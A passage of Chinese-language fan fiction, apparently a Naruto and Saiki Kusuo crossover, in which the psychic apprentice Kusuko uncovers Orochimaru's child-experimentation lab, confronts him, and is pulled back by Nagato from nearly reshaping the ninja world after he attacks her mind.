一旦无人留意,或是没有监控窥探,她便会肆无忌惮地动用自身的“血继限界”偷懒。 是的。 大蛇丸始终认定,这绝对是一种极为特殊的血继限界! 他无数次想要获取她的血液、组织等样本用于研究,可完全做不到啊。 按理说,这并非难事,忍者修行难免受伤,最会流血。 可他的弟子齐木楠子,体术平平、忍术也并不擅长,自拜师以来,竟从未受过半点伤。 哪怕是日常对练切磋,也始终完好无损。 啊啊,至于在雨隐村那次的受伤,大蛇丸也觉得那其中绝对有什么问题。 这般诡异的现状,周遭众人却从来没有怀疑过。 “你不觉得奇怪吗?”他曾问过身边的忍者。 “嗯?……大概是楠子有幸运女神的眷顾吧!”根本没看出楠子在让着自己的平庸忍者笑着应答。 绝望啦,真是绝望啦! 木叶三忍之一的大蛇丸大人,对根组织的新生代彻底绝望啦! 你们难道看不出来,你们的刀只是碰到她的衣角,她就顺势倒下了吗? 大蛇丸望着楠子训练的录像,眼底翻涌着对知识的渴望。 只要能得到楠子的血液、毛发或是任意身体组织,他的生物研究便能取得突破性进展,可他始终一无所获。 到头来,他只能这般偏执地盯着对方的相片。 只因但凡有人对楠子滋生半分恶意,哪怕只是心底的念想,都会被她瞬间察觉。 这早已不是单纯的幸运能够解释,更像是心灵感应,甚至是预知未来的可怖能力。 不过漫长的观察与研究并非毫无收获。 大蛇丸发现,将初代细胞与尾兽能量结合,或许能够克制齐木楠子的能力。 毕竟,那可是初代的力量啊! 如今他头上那看似滑稽的头箍,便是基于这个原理打造,交给红豆的特制针头,亦是同理。 那针管里封存的麻醉剂,剂量足以放倒二十头巨兽。 楠子会就此沉入海底殒命吗? ‘应该不会吧?’ 大蛇丸的额角流下了冷汗,手也不自觉抓紧。 ‘楠子,楠子……’心中呼唤着楠子的名字,此刻,他竟然也开始期望这位徒弟被幸运女神眷顾,好端端地活在这个世间啊。 73.反目与解惑 海风吹过礁石的缝隙,带出细碎的呜咽声响。 楠子站在了礁石的另外一侧,看着高大的岩壁,对着身后的琥珀说:“接下来的事就由我来处理,你不必跟上。” “……” 楠子没期待对方的回应,随即敛去了身上所有外露的气息。 真是意外,方才与琥珀的对话,反而让楠子有拨云见日之感。 她一路上动作迟缓,甚至没有使用各种超能力去解决这件事,说不定正是因为她心里对杀死师父这件事的抵触。 可是不行了,如果大蛇丸只是想伤害她的话,她倒是也无所谓。 但这件事已经牵扯到了海之国,还牵扯到了那些被他拐走,不知道去做什么了的童男童女,甚至现在也已经有事主找了上来。 那她就不可能再装聋作哑,当做什么都没有发生。 ‘所以快点结束吧。’楠子心里想着。 潮湿的水汽沾在衣料上,带着刺骨的凉。 她抬首看去,终于使用异能直视了这处基地的内部结构。 岩壁各处嵌着隐秘的摄像头,镜头角度刁钻,几乎覆盖了所有进出路径,还有数条细蛇贴在石缝间蛰伏,吐着细微的信子,感知着周遭的查克拉波动。 ‘呀嘞呀嘞,防备还真是严密呢。’只是对她没用。 眼角微动,摄像头像是被电流击中,一个一个发出“砰”的一声,接连不断地报废。 没了摄像头,她再也无所顾忌,沿着洞穴的轨迹走了进去。 洞窟深处隐约传来机械的低鸣,细微、冰冷,带着独属于无机物的冰冷感,让她又想起了大蛇丸。 这位师父其实一向理智,连偶尔的搞笑,也只是无关痛痒的调解。 就像他的脑海里时不时就会嘲笑团藏,偶尔也会连带着三代一起,更多的则是对于其他忍者的不屑。 这样一个人,踏入邪恶之路,似乎也是应该的。 ‘所以我没错。’楠子垂下眼帘,脚步没有一丝迟疑,却感觉自己像是去谋杀,或者参加一个根本不欢迎她的葬礼。 踏入洞窟内部的那一刻,惨白的灯光骤然铺满眼帘,几乎刺得人眼睛发疼。 这里是一处设备齐全的地下研究所。 整齐排列的精密仪器反射着冷光,管线沿着岩壁蜿蜒排布,密密麻麻,如同克苏鲁神话中的诡异洞穴,将整片洞窟织成一张冰冷的网。 地面干净得过分,没有半点尘土,唯独空气里飘着一股淡淡的腥甜,混杂着各种试剂的气息,让人几欲作呕。 可是,更加令人作呕的,反而是眼前的景象。 接近两米的巨大玻璃容器一排接着一排,如同串联线路。 透明的容器中能够轻易看到盛放的“怪物”。 啊……那些应该都不是怪物,而是有着怪物特征的少男少女。 鱼鳞、鱼鳞、尖牙、利齿……这些“生物”没有一丝美感可言,也根本看不出厉害之处。 这项技术唯一可称道的,大概就是它在生物多样性上,所做出的贡献吧。 ‘所以,师父在做什么呢?’ 做出这样令人恶心的实验,结果成果就只有这些吗? 这让同样身为研究者的她都几乎想要发笑了啊。 为了这根本没有任何作用的实验,就牺牲一个个活生生的人,掳走他们,献祭他们,让他们无声地消失在这世间,或者,成为怪物。 这是多么悲哀啊,因为身为一个“人”,根本不应该去随意决定一个人的死亡。 ‘啊……幸好我有这样的力量。’还来得及拨乱反正。 楠子不自觉地深呼吸,走近了这一个个实验皿,脑海中都仿若传出了他们的哀嚎。 她随手拿过一份实验记录翻看,知识和实验过程像是水流般涌入了她的大脑。 大蛇丸所研究的,居然不是人体改造技术,而是通过咒印,以基因牵引,激发忍者身体变异,从而达到提升战力的效果。 楠子站在空旷冰冷的研究所里,忽然觉得有些可笑。 ‘这样的提升,已经不可称之为人,几乎改变了外貌、种族,让人分辨不清,忘却了来时的路,又有什么意义呢?’ 她一路过来,还在纠结是否应该由她来杀死大蛇丸,结束这一切。 但是现在看来,竟然是她来晚了吗? ‘是啊,我不能改变海之国所遭遇的所有苦难,但是区区一个大蛇丸,难道不能由我来拔除吗?’ 在天秤的一端放下了最后一枚重重的筹码,她忽而觉得有些轻松,身后有脚步声传来,她没有回头去看。 因为她知道来者是谁。 轻缓的笑声散漫又阴柔,那正是不再伪装的大蛇丸。 “呵,看来,我的好徒弟,终于发现我在做什么了啊。” “是啊。”楠子语气平淡,“我也是才发现,自己原本自视甚高的师父,居然一点才能都没有呢。” 楠子不必回头都能看到大蛇丸骤然扭曲的脸。 诚然,大蛇丸是普遍意义上的天才,可天才也分很多种。 比如波风水门,虽非名门出身,却能快速理解忍术,体术也颇为精通;也有像大蛇丸这样精通各类忍术、深谙研究之道的忍者;更有旗木卡卡西这类能迅速掌握多种忍术、熟悉战斗节奏的忍者。 但只要是人,就有上限。 如果不承认这一点,便会走入疯魔之道,就如同现在的大蛇丸一样。 楠子转过身,一寸一寸看着大蛇丸此刻扭曲的脸。 在她眼中,原本还有几分儒雅的面庞,显得令人憎恶而可怖,金色的蛇瞳里散发着野兽般疯狂的光芒,露出嘲讽笑容的嘴角,此刻也扭曲变形,如同深夜的鬼魅在地狱里向上抬手。 ‘真是丑陋啊。’她想,而后看见大蛇丸的眼角狠狠一跳。 “啊,不对,是我将心中所想说出了口吗?”楠子故作诧异,“真是不好意思呀,大蛇丸师父。不过我想现在如同怪物一般的你,应该也没有资格再被我称为师父了。” “怪物?你知道你在说什么吗?”大蛇丸金色的兽瞳盯着楠子冰冷的脸,努力让语气显得平淡,“比起我来,你更像是一个怪物吧?” “这得看关于怪物的定义吧?”楠子的声音很轻,听不出情绪,却比冰凉的海水更冷,“只要拥有人心,便可称之为人,而将孩童、渔民、失踪的忍者当做实验材料的你,残杀同类,比我更像是怪物。” 她的声音很平静,根本不像是个才发现自己的师父在做禁忌实验的少女。 大蛇丸感觉到了那股平静下的自信与认真,像是早已对他盖棺定论,认定他会败在她的手上。 ‘呵,怎么可能?’他好歹是三忍之一,连在师父猿飞日斩的手中都有自信逃脱,而面前的楠子只不过是一个,是一个……哎呀,他竟然真的没法定义楠子究竟是什么。 手指有些僵硬,大蛇丸努力让自己露出微笑,“楠子,你知道海之国之前是什么样子吗?常年风浪不止,资源贫瘠,没有忍者村庇护,没有大国愿意管辖,这里的人从出生开始,就活在随时会死去的恐惧里。 “他们没有自保的力量,哪怕是流浪忍者,也能轻易地从他们的手中夺去一切!而我,只要他们付出那么小小的一点!” 他猛地伸出手,比划出一个微小的姿势,语气带着激动与蛊惑。 “弱者可没有选择命运的资格,只能顺应环境,这就是忍界的规则。 “没有我!他们迟早会死于风浪,死于饥荒,死于战乱。与其白白死掉,不如由我来使用,用少数人的消亡,换未来更多人的存续,惠及这里的人,也惠及那些没有天赋的忍者!” 他慷慨激昂,像是说着世间真理,连空气都为他所震颤。 可是在大蛇丸的眼中,楠子不知为何,那深紫色的眼睛似是看着他,又似是没有在看他,只是轻轻巧巧吐出了一个“哦”。 大蛇丸的心猛地向下沉。 他知道这代表着什么,这代表着楠子已经不准备再听他任何的理论,已经做下了决定。 “对了,大蛇丸师父。你还记得,今天是几号吗?” “嗯?”大蛇丸万万没有想到,此时此刻楠子居然会说起这个。 楠子似是注意到了他的诧异,点了点头,肯定道:“是10月27日。” ‘10月27日……这、这是……’大蛇丸的瞳孔猛缩。 对面的女孩点了点头,认真说:“其实,我想,至少应该让你过完这一年的生日,毕竟,你能活这么久,也是难得。这样好了,我现在就拿出一个蛋糕,你把蜡烛吹掉,算我给你的生日礼物,而后……就由我来杀死你,如何?” 冰冷的话语,一字一句落在空气里,让大蛇丸几乎有种窒息的感觉。 这么多年过去,他早已不是会期待父母给自己过生日的孩童,却没想到楠子居然还记得这个日子。 而对方此刻的话语,似乎也宣告了对方杀掉自己的决心。 偏偏大蛇丸此刻也有些怀疑自己是否真的能抵挡,尤其是看到对方的手中居然真的出现了一个蛋糕的时候。 ‘这是什么忍术?居然不用结印?啧……真是厉害的血继限界啊。’大蛇丸的身体越发紧绷,楠子似是没有发现。 “啊……对了。”楠子似乎是纯然的疑问,“你究竟是什么时候,发现我的异常的?” ‘呵……我怎么可能会告诉你?’大蛇丸正想着,嘴巴竟然不由自主的动了起来,“呵!当然 是因为你的第一次任务!你还记得野野村翠吗?” 野野村翠,是楠子一次任务时的队友,那个时候,野野村翠背叛了木叶,想要杀死奈良鹿行,差点得手。 楠子有些恍然,“他是你的手下?”可为什么当初她的读心什么都读不到? “不。”大蛇丸的神情彻底冷了下来,他不想要回应,嘴巴却依旧在说,“是我将我的意识投射在了他的身上。” “可是你瞒过了我。” “你傻了吧?哈哈哈,只要用催眠术将所有的一切忘记,真心实意地认为自己就是那个人,就可以瞒过你……”大蛇丸说着,一巴掌打在自己的脸上,舌尖咬出了血,强制让自己不再说话。 “哦。”楠子只是望着她的师父做出这幅傻样,笑出了声,“这么简单吗?我早该想到的。不过,这也没办法,我还没接触过这样卑劣的人呢。” “是啊是啊,你还根本没发现,那条大海蛇也是我放出来的!哼!本来想要用那笔钱来做实验资金,但是没想到居然栽在了你和卡卡西的手中。哈哈哈,你这个傻瓜,明明优势大好,却在看见鹿行和卡卡西有危险的时候,收了手,还心慈手软地放跑了那只大海蛇!不然你早就该发现是我在搞鬼!” 说完这些,大蛇丸的面容已经是一片惨白。 楠子满目欣赏地点头。“可真是厉害啊。可是,为什么呢?” 大蛇丸的目光已然有些迷乱,薄薄的唇因为鲜血而变得通红,更是如鬼似魅。 “因为,我要长生。” “长生?” “是的!”他的语气忽而激昂,“你还小!楠子,你根本没有感受过被时间追赶的感觉!曾几何时,波风水门那个家伙,根本不是我的对手!但是现在,你看看他,风华正茂,连儿子都生出来啦,哈哈哈! “当然,那种庸人,只会得意一时,他总会死的,像是三代一样,手脚变得苍老,连老人斑都掩饰不住,还有、还有自来也,他和我差不多大,居然已经成了那副丑样子……” “够了。师父……” “楠子,你不明白……” “我说,够·了。”楠子目光复杂,撑起了嘴角,“师父,我不知道,你居然有所谓的‘容貌’焦虑。” 她的话语让大蛇丸的话语猛地一顿,就见他那可爱又美丽的徒弟抬起了手按着那眉心,而后,一点一点地抬起眼来。 她紫色的眼眸穿过了手指的缝隙,看着对面的大蛇丸,原本挑起的嘴角却逐渐下落。 大蛇丸,她的师父。 现在不过四十来许,按照三代那样的岁数,实际上还有许多年好活。 她实在搞不清楚,他为什么不肯体面地老去。 楠子望着他那苍白如雪的面容,又想起了曾经相处的点滴。 虽然没有表露出许多,但他确实曾经真心教导过自己。 她的目光又落在了另外一只手上的蛋糕之上。 白色的蛋糕胚上,画着精致的蛇形。 比他的“祖宗”万蛇可要威猛许多,原本,她是准备将它送给他的——如果他通过她的测试的话。 为了不让对方感到介怀,她甚至没在上面写上年纪,可谁曾想,一个四十多的老男人,居然会真的介意年龄和衰老这回事啊?不如你去研发化妆品呢? 楠子感觉自己的心像是被分割成两半,一半想要对大蛇丸阴阳怪气,另一半却告诫自己要冷静。 自己的师父已然失去了格调,以后她可就是三忍大蛇丸派的顶梁柱了啊!怎么能没有身为根组织Boss的格调呢? 嘴角动了动,她的话语如同叹息:“师父,你还记得,我曾经在甜品店打工吧?” “啊,如果你说的是,穿着可笑的裙子,站在店门口面无表情地恐吓路人的话。” ‘干嘛要在这个时候说实话?’楠子深深看了眼自己现在还有闲心说笑话的师父,努力把剧情拉回正剧。 “这个蛋糕是我亲手做的,当然,它的时间永远停留在了我做好的那一刻。” 楠子的目光淡然,可就在两人的眼前,那蛋糕上面的黑色蛇纹仰起了头,化作了一根黑色的蛇纹蜡烛。 大蛇丸眼见着那蛇口微微张开,露出猩红的舌头,一对黄玉似的眼睛一瞬不瞬地盯着他看,竟然让他感觉有些熟悉,仿佛是……自己经常在镜子里看到的那样。 就在他怔愣的时候,火焰刺啦一声燃响,蜡烛点燃。 楠子端着蛋糕一步一步走到了无法动弹的大蛇丸的面前,捧起了蛋糕。 “现在,我可没有心情唱生日歌了。但是……” 她努力露出了一个笑容,眼睛眯起,如同新月一般,透露出了美好的祈愿。 “来吹蜡烛吧,师父。” 74.背叛者 要死了,这次可真的要死了! 大蛇丸嘴角颤动,金色的眼瞳里竟然显露出了一丝丝恐惧。 ‘不、不对,我在怕什么啊!她只是个十六岁的女孩啊!’ 可他喉头的滚动和额角的冷汗都昭示了他的内心的震动。 他可想不出来有什么忍术能在一瞬之间定住他,还能逼迫他说出那些“实话”。 ‘这就是她的血继限界吗?这就是她底气的由来吗?’ 大蛇丸心如乱麻,可楠子的眼神没有一丝波动,简直像是没有自主意识的机器一般。 但大蛇丸知道,这是一些忍者下定了决心,不可能再因为别的意外而改变的眼神。 ‘等等,虽然她的实力或许真的很强,但是……也不可能到了能轻易杀死我的地步吧?呵呵,居然连我都被唬住了,还真是厉害啊,楠子。’ 大蛇丸努力的让自己的声音变得和缓一些,不至于太过丢脸,也不至于底气不足。 “那、那个,楠子,你看,我到底还是你的师父呀?”他软言相劝。 “但是,我觉得我们三观不一致。”楠子的脸带着笑意,缓缓开口,声音很轻,像是带着纯然的疑惑与……趣味,如同看着一个注定要死的人垂死挣扎,“师父,在你眼里,只要能够被你所利用,似乎就算是派上了用场,对方死不死得,受不受伤,都无所谓——身为五好青年的我,当然不会这么觉得啦。” 大蛇丸眼皮一跳,“那你也不应该想着随意剥夺我的性命啊。” “在说什么呢,大蛇丸师父。难不成,你觉得自己无辜?别说这种令人觉得恶心的话了。” 她的笑脸越发让大蛇丸感到熟悉,甚至到了如同照镜子一般的程度。 大蛇丸觉得不适应,“楠子,你应该明白。如果一直抱着这种无谓的善意,一直同情弱者,最后只会被这个世界反咬一口啊。” “嗯,就像是大蛇丸师父,你背叛我一样吗?”楠子点点头,“我明白了,原来你也知道你根本就是无视了我的善意了吧。我明明给了你机会把这一摊子烂事都收拾齐整,也不是不能放过你,但是事情都摆在了我的眼前,难不成你还敢要我装作视而不见吗?” 什么“敢不敢”的呀,胡搅蛮缠,真是胡搅蛮缠。 大蛇丸一直知道女性的个性不是很稳定,动不动就会情绪化地做出一些事,就像是他的队友千手纲手一样。 但是啊,他没有想到一向冷静淡漠的齐木楠子也会这个样子。 ‘居然傲慢到了这个地步吗?’ 就因为他刚才确实被楠子关于生日的“戏法”感动了一瞬,大蛇丸试着耐心,“我说过了吧,那是面对弱者的时候。你只要把那些无用的怜悯丢掉,我们一起完成这套禁忌忍术研究,就能彻底打破忍界的桎梏!” 楠子也觉得意外呢,大蛇丸师父居然还在试图说服她,试图让她接受什么“力量至上”的理论哩。 ‘呀嘞呀嘞,真是没办法呀,无知的大蛇丸根本不知道她齐木楠子已经是这套逻辑的顶点了。毕竟,蚂蚁又怎么能理解大象呢?’ 如果真的要活命,反而应该劝说她保留怜悯之心,忍受愚蠢者的无知才对。 楠子不再看他,静静看着蜡烛一点点燃烧。 她从前原本还残留着一点点荒唐的念头,或许大蛇丸只是执念太深,或许他只是走错了路,或许还有回头的可能。 可现在她清楚知道,没有。 这个人的内核从根上就坏了呀。 他不是被迫作恶,不是身不由己,他是从心底里认可这套残酷的规则,享受凌驾众生、掌控一切的感觉,早就已经无可救药。 忍界又何尝不是如此呢? 经年累月的战争,无数家庭的破碎,根源从来不是民众的愚昧,而是大蛇丸这种强者毫无底线的私欲与贪婪。 她不想凭借着自己的意志去凌驾别人的意志,但她其实是可以多做一点点的吧? 就从让自己的手上沾染一点鲜血开始? ‘说起来,这个世界里,有谁第一个杀死的人,是自己的师父呢?……没有吧。这也算是一个奇特的经历了。’ 楠子稍微打起了一点精神,打断了大蛇丸的喋喋不休,认真询问:“师父,你真的不打算吹蜡烛吗?这可是你最后一个生日了啊。” “哈?”大蛇丸的神情很是怪异,像是在看什么疯子。 “吹吧。”楠子眯起了眼睛,声音冷了下去,“我的耐心也是有限的。” ‘耐心有限?她难不成真的这么有把握?’ 大蛇丸的身体一僵,看着那蜡烛,如同在看什么诡异的术式。 这个蛋糕难不成也是什么术式的载体? 他已经听闻药师兜提过,楠子先去了星隐村,按照时间来说,这个蛋糕绝对不可能是她在木叶就做好的。 至于说什么让时间瞬间停止在做好的那一刻也令人发笑。 唯一的解就是……齐木楠子血继限界的发动S级以上的忍术需要契机! 对!这就是属于忍者的逻辑。 ‘可是,你不知道吧,我也有杀招呢。’心中哂笑,大蛇丸估计鼓起嘴,做出想要吹灭蜡烛的动作,却听见身后传来一声断喝:“不要!” 两人齐齐怔住,只是一个虚着眼,一个讶异,都回头望去。 药师兜一个标准的忍者跳跃,踉跄一下,半跪于地,头却在气还没喘匀的时候就猛得抬起。 “楠、楠子姐,拜托你了,原谅大蛇丸大人吧!他、他只是痴迷于科研,一时、一时忘了形。” “哈?”大蛇丸惊诧到下巴都快要掉了,一边去看自己面无表情的徒弟,一边去看似乎真的很着急的药师兜,不由得指着自己说:“兜,你这句话,应该是对我说的吧?” 兜只复杂地望了他一眼,两只膝盖都落了下来,连头也重重磕在了地上。 “请你原谅大蛇丸大人!如果不是大蛇丸大人,海之国会死更多人的啊!楠子姐你不是也知道的吗?只不过……只不过是……” ‘呀嘞呀嘞,连兜……也已经坏掉了啊。’楠子有些失望。 在同一趟旅程中,卡卡西未曾信任她,大蛇丸背叛了她,此刻,连药师兜也站在了她的对立面。 在这一刻,楠子是真的觉得自己的做人是否太过失败,才让这种事情一而再再而三的发生。 “兜,你还记得吗?曾几何时,你也只是那‘只不过’当中的一员。我倒是很奇怪,怎么你成为畜生之后,就忘了自己还曾经是人了吗?” 这话说得很重,大蛇丸惊讶地去看楠子。 是啦,他的爱徒是时不时会有些毒舌,可是倒也没有到对她很关照的弟弟这样恶毒的地步吧? 偏偏药师兜狠狠地抖了一下,竟然咬着牙没有说话。 “你让我很失望。”楠子继续道,“你还记得当初你想加入根组织的时候,我和你说的话吗?” “……” “我说,‘我很讨厌大蛇丸,如果你跟他学着,做出了超出我道德限制的事,我就会杀死你,这样……也没关系吗?’” 楠子望着药师兜的身体逐渐僵硬,声音越发冷淡。 “你当时说‘好的’。现在,我来问你,如今,站在我的对面,已经了解大蛇丸所做的一切的,你是自愿死在我的手上,对吗?” 楠子望着药师兜的颅顶,却能听见他的心音。 她的这位弟弟可真不简单啊,生死关头,还在想要如何装可怜,从而博得她的怜悯呢。 ‘傻瓜。到了这个地步,人证、物证俱在,难不成还想着让我包庇大蛇丸吗?’ 不会的。 < p>怜悯是属于齐木楠子的,但她已经决定了,站在这里的是神。 神给出考验,但只看结果。 标准已立,结果已出。 她会惋惜,但不能后悔。 这就回到了原来的问题,如果她剔除了药师兜关于大蛇丸、关于实验、关于根组织的记忆,击碎了他的人格,那么药师兜,还是药师兜吗? ‘这真是个好问题,或许,可以实验一番。’ 深紫色的眼眸凝结成冰,剥除了异样的心痛与感情,楠子抬起了手,虚虚指向了药师兜,一只苍白的手,却抓住了她的手腕。 她视线微移,对上了一双金色的兽瞳,看着那苍白的脸上,慢慢勾起一抹诡异又幽深的冷笑。 那抹笑意藏在眼底,带着算计得逞的从容,还有几分胸有成竹的傲慢,声音粗牙难听: “楠子呀,你是不是太小看师父我了啊。” 楠子想到了野野村翠,想到了自己的几次翻车。 可那几次都是她不想让周围的人得知自己的力量,可在这种她可以尽力是施为的时候,她实在不知道自己要怎么输。 “那你试试吧?或许能给我增添一点趣味呢?”楠子平静说着,却已经锁定了大蛇丸,将这块空间封锁了起来。 他毫无所觉,兜却惊叫道:“大蛇丸大人,不行!您不是……” 大蛇丸淡淡开口,直接打断了他的劝阻。 仰起了下巴,他的语气里带着一丝轻飘飘的嘲讽,“兜啊,你什么时候开始觉得,我会输给自己的徒弟?啊……你们会这样想,只是因为还没有见过我的真正实力而已。” ‘大蛇丸大人!您现在在这里装什么啊!您根本不知道,您即将面对的到底是什么样的存在啊!’兜跪在原地,心脏却像是被一只无形的手狠狠攥住,只剩无尽的恐慌。 他根本不敢将楠子就是雨隐村的“晓”的事情告诉大蛇丸。 因为他知道,阻拦和隐瞒大蛇丸的秘密,只不过是做错了事,但是如果将楠子的秘密说出去,那就构成了真正的背叛! 前者,楠子姐只会小惩大诫,但是后者,连雨隐村也会一道追杀他的呀。 兜根本不知道楠子的打算,他也不觉得楠子会杀死他,顶多认为楠子会将他发配到雨隐村。 可若是能够救下他所崇拜的大蛇丸大人,那就根本没有什么。 所以啊,楠子才觉得兜根本还不懂得忍界的黑暗。 发配,那是什么? 只有真正捣毁一个忍者的信念,将对方从头到脚利用了个干净,才是真正的恶。 这一点,根组织最深切的暗才是行家,她也只不过是上行下效。 兜还根本什么都不懂呢。 就在这时,出乎楠子预料,细微的机械声响起,洞窟地面骤然震动,无数暗红色纹路从地底蔓延而出,顺着岩石缝隙快速铺开,纵横交错,织成一片巨大且诡异的阵法。 纹路之间流淌着狂暴且躁动的能量,带着尾兽独有的、霸道蛮横的能量气息,让身后巨大的培养皿在同一时间碎裂。 玻璃如同冰雹一般炸裂,楠子没有回头,目光依旧盯在大蛇丸身上。 就见他的身形已经如水一般溶解,而后出现在了兜的身侧。 “呵,楠子,你以为你赢了吗?你之前说过什么话来着?反派……死于话多?”他的嘴角露出了邪恶的微笑,双手快速结印。 “就你,还觉得我是反派呢?”楠子不必回头,就能感受到那里面里的“怪物”从培养皿里“流”了出来。 可无论是从身体结构,还是战力上来看,她都不觉得对方能给自己造成任何伤害才对。 ‘嗯?不对。’她的脑海里忽然闪过什么,就见大蛇丸嘴角的笑容忽而张大,念出了六个字。 “忍法·地狱无间。” 75.毁灭 忍法·地狱无间。 这是他潜藏在海之国洞窟,默默筹备许久的底牌,专门为了克制楠子特殊的血继限界而生。 她的身体坚硬如铁,不会受伤,那就从精神方面来就好了啊! 阵法彻底成型的瞬间,大蛇丸抬手继续结印,指尖查克拉涌动,一股无形无质的气流,瞬间串联起整座洞窟,直直侵入她的脑海。 楠子只觉得脑袋骤然一重,眼前瞬间发黑。 “好痛啊,我好痛……” 楠子骤然回头,看到一个少女躺在手术台上。 她目光空洞,盯着顶上的手术灯,却有数个黑影围绕着她,切割着她的身体。 楠子的脚步不由得向着那个方向偏转,却感觉有人在而后吹气。 “杀死我,求求你了,快点杀死我!” 她身体一顿,慢慢回过头,就见到一个男孩抱着自己硕大的头颅,想要去撕扯头上的伤口。 “好难受……”“妈妈,救救我。”“我想回家。”“我再也不调皮了。” 成千上万的声音汇集到了一起,楠子知道,这里面不仅仅有因大蛇丸实验而死的孩子,还应该有被这片海域吞噬了的亡者,甚至还有其他死在忍界战场的亡者之声。 因为大蛇丸的攻击,让她聆听到了身后“怪物”们的苦痛。 可她的超能力却将这个术增幅到了连大蛇丸都无法预料的地步。 她看到啃食草根的少年,看到芦柴杆一般的少女,看到不得不杀死自己孩子的母亲,看到将自己的孩子送入地狱的父亲…… 还有更多,更多连她都不想描述的事情。 其实她早就从各种记录上了解过这些事,但那都不如眼前重重的人影来的有说服力。 “好痛苦……” “不想活了。” “我到底做了什么才会遭遇这些。” “这个世界是错的错的!” “为什么会这样?为什么要去死的是我!” 各种声音就如同千万根无比坚硬的钢丝,一瞬间捣入了她的大脑。 她当然不至于头疼,也不至于发疯。 只不过,那紫水晶一般的眼眸有些模糊,眼角蓦然掉出了一滴眼泪。 楠子知道自己此刻最后的感性已经随着那滴眼泪流逝,现在站在这里的是绝对理智的最强超能力者。 “无间地狱。”楠子喃喃出声,“这真是个好名字。” 好到……让她想要重建这个世界。 于是她抬起了手。 于是她倒数:“三……” 周身原本被死死压制的超能力如同大坝上出现了细微的孔洞,开始一点一点泄露。 可仅仅那么一点,无形的力场就已经疯狂扩散,瞬间覆盖整座洞窟。 空间开始剧烈扭曲,眼前的景物、仪器、光线全部变得晃动模糊,所有事物的形态都在不断崩塌又重组。 改变事物的结构以及世界的规则,对她来说,其实从来都轻而易举。 难的反而是克制,就连现在,她也没有全情释放呢。 对面的大蛇丸张口结舌,看着自己手一会长到了左边,一会长到了右边。 楠子没在意,这是世界重组的必经之路嘛。 她或许可以思考一下,是把大蛇丸师父变成无知无觉的怪物好呢,还是连手都没有,却有人类意识的宠物蛇。 “锵啷”一声,一个东西,被扔在了她的面前。 那是一个木质相框。 穿着和服,抱着旗木美美子的野乃宇和旗木朔茂,以及他们身后站着的自己和卡卡西。 楠子的目光停留在卡卡西那依旧带着面罩的面容之上。 这是有人在试图阻止自己。 不过,没关系。 ‘第一个障碍是爱吗?那根本连信任都无法击穿呢。’ “二……”她转开目光,继续倒数。 洞窟开始崩毁,黑色的岩石变成了灰色的水泥,托举着,形成了一个巨大的灯塔。 哦,“灯塔”根本不够炫酷。 楠子想着,将它变成了一把巨大的水晶之塔。 如同玻璃一般透明的墙壁环绕着上升,天空开始飘荡起雪花。 她都想要开始唱“letitgo”了。 “不要,琥珀,不要。”海灵琥珀不知道从哪里冒了出来,试图覆盖住她的身体。 这是第二个障碍吗? ‘不过是个无知的灵而已,你又怎么知道这个世界不会变得更好呢?啊……不过迪○尼确实不大好,要么……宝○梦?反正也有通灵兽,总之,要现代一点才方便。’楠子根本不在意。 可就在“一”即将出口的时候,她听到一声疾呼。 “楠子大人,楠子大人!”是长门。 楠子的眼珠动了动,可她的大脑像是分成了两边。 一边耳边的声音,眼前的幻象,已经不仅仅局限于这小小的邪恶实验室,反而揭露了整个忍界的黑暗。 战争中孩童的尸骨,无辜死亡的民众,犬马一生却被卸磨杀驴的忍者…… 一边,却是已经逐渐扭曲的忍界。 不对,不对,她其实可以修正得更好的,不是吗? 可是偏偏,在她想说出“一”的时候,肩膀被重重抱住了,连抬起的手腕也是。 “楠子大人,停下!这样解决不了任何问题!听听活人的声音吧!我们、我们不想变成人偶!” ‘什么人偶,我是那么不讲道理的人吗?’楠子不大高兴。 “不是人偶。你知道《海○王》吗?在我记忆里,这个世界好像很少死人。”楠子慢吞吞地说,“也可以是其他形式,《死○》?反正,不会变得更差了。” 抱住她的男人一顿,声音更透露着坚定与惶急,“那也应该由我们来决定!拜托了,楠子大人!对了,您之前提到的题,轨道上的人,我不觉得,应该由那个拉把手的人决定!没有人,没有人应该去决定弱者的死亡。” “……你只是想劝我而已,你并不是真的这样想的。” “不是的,我就是这样想的!我……” 一声叹息打断了长门的解释,长长的睫毛垂下,楠子的语气带着叹惋。 “不要骗我,长门,不要骗我。” “我不是,楠子大人,我没有……”长门想要解释,却被楠子一个眼神止住。 “我已经冷静了。”她解释道,看着面前巨大的水晶塔身,感受着自己力量所影响的区域,不由自主的嘟哝,“呀嘞呀嘞,我其实也没有怎么失控啊。” 至少还没有把她最喜欢的宝○梦变出来呢。 要知道,如果她真的失控的话,“砰”得一声,忍界就要从宇宙消失了。 而方才的她只是想给忍界一点小小的“世界观”震撼而已啊。 况且,自从那相框、海灵琥珀、乃至与长门出现,她就知道自己被阻止。 阻止她的人,不是相框,不是海灵,不是长门,而是“齐木楠雄”。 对,就是“楠雄”。 因为这个世界上,唯有“齐木楠雄”能瞬间从木叶将这破相框拿来而后扔到这里,也只有“他”能够将海灵琥珀偷渡到这里,再告诉长门用陨石破坏自己封锁的方法,将他传送到这里。 所以,是她在未来的某个时间点,后悔了此时此刻的作为,变身为“楠雄”,跳跃到这个时间点,而后努力改变她在这个时刻的行动了吗? ‘幸好幸好。’因为从前就吃过精神忍术的亏,她早就将自己的“失控”率先设定成了“绝对理智”。 “放开。”她说着,轻轻挣脱了身后长门的束缚,向前几步,捡起了那已经碎裂的相框。 盯着上面的裂痕,叹息一声,相框恢复,随手一抛,那相框又已经回到了木叶的旗木大宅之中。 而后,是面前已经说不 出话来的大蛇丸了。 “你知道吗?大蛇丸师父,我的理智,是整个忍界唯一的保险。”她点了点自己的大脑,“给自己鼓个掌吧,你刚才差点毁了忍界呢。” 大蛇丸看着眼前被改变的物质,满脸难以置信。 他亲眼看着跪在地上的药师兜,身躯在扭曲的空间里寸寸碎裂,骨骼、皮肉、衣物尽数化为细碎碎片,可下一秒,这些碎片又被无形的力量强行拼接复原,完好无损的躯体重新出现在原地,反复撕裂、反复愈合,循环往复。 极致的视觉冲击让他心神震颤,连他自己的躯体也无法幸免,皮肉传来阵阵扭曲拉扯的痛感,查克拉运转紊乱不畅,周身的一切都脱离了他的掌控。 如果说那些可以用精神幻术所解释的话,那这水晶一般的地面呢?墙壁呢?原本身处海底,现在却悬于空中的物理位移呢? 再往那边看,曾经被他用于实验的各个实验体如同被从时空长河中揪出,早已恢复到了原本的模样,甚至还多了数十个,倒伏在那边,如同一座坟墓。 可是大蛇丸看的出来,他们在呼吸,他们的胸口在起伏。 